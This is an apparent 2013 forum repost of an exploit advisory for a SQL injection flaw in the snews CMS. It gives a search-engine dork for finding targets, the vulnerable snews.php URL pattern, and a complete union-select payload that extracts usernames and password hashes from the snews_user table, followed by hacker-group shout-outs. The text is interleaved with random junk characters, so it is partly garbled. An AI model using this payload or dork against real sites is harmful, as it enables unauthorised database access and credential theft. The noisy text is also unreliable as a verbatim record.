标题: CMS snews SQL Injection Vulnerability
2 H. r5 X' t" s5 o( @作者: By onestree
! a+ I% [0 f' U: m) g# o/ k下载地址 : http://snewscms.com/5 ^$ H- S% H0 T% i& u) Y+ H% x
测试平台 : ubuntu 12.10 / win 7
+ r/ A% U; d: l% D关键词: inurl:"tanyakan pada rumput yang bergoyang"- [7 ~2 D2 D8 p: g9 V
M: Y/ a( h+ w6 Q6 ^8 q
# s8 _$ ]; x3 n f+ W*************************************************************
/ V& v; `, Z' x9 h5 Q
6 X! e0 m" d) q/ z& sSQL poc:
! a6 _7 z0 A a! q. U$ E v* _2 ^% f" I6 o, q0 G
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
" I6 f( ]- q" _ 7 {3 C* C n2 x% K1 T" ]2 |
示例- r7 P. \6 B. e" h! u, z' P5 {4 h
; z2 J0 D( x" d; J6 qhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*" I9 h O0 s( D
/ j: A% b* i. Y# f
) c3 o8 C R& S致谢:
, l# Q! H2 K1 s, \
4 B& {. x h' l( i3 p" M6 m Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell- I3 H. [1 ~$ J6 E
( W/ Z& l4 ]- o9 S$ O/ w
indonesiancoder - moeslimh4x0r - go-coder& ~; w7 ?- |4 O: Q1 m& _+ B9 E/ {$ I
/ ?- L: z; R0 r" `1 y2 n& j
spesial my hunny :*/ [+ V6 ?' V2 W3 }/ o+ s/ U# r
|
发表于 2013-1-23 08:55:06
收藏
支持
反对